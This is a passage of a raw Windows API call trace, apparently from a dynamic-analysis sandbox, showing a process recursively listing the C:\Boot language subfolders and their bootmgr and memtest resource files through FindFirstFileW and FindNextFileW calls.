	[0167.934] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.934] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.934] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.934] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.934] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.934] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0167.934] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.934] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.935] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.935] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.935] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.935] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.935] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.935] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0167.935] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.935] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.935] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.935] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.935] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.936] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.936] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.936] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.936] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0167.936] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.936] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.936] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.936] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.936] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.936] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.936] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.936] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0167.936] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.936] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.937] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.937] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.937] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.937] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.937] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.937] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.937] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0167.937] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.937] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.937] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.937] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.938] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.938] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.938] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.938] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.938] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0167.938] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.938] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.938] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.938] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.938] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.938] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.938] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.938] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0167.939] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0167.939] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.939] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.939] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.939] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.939] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.939] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
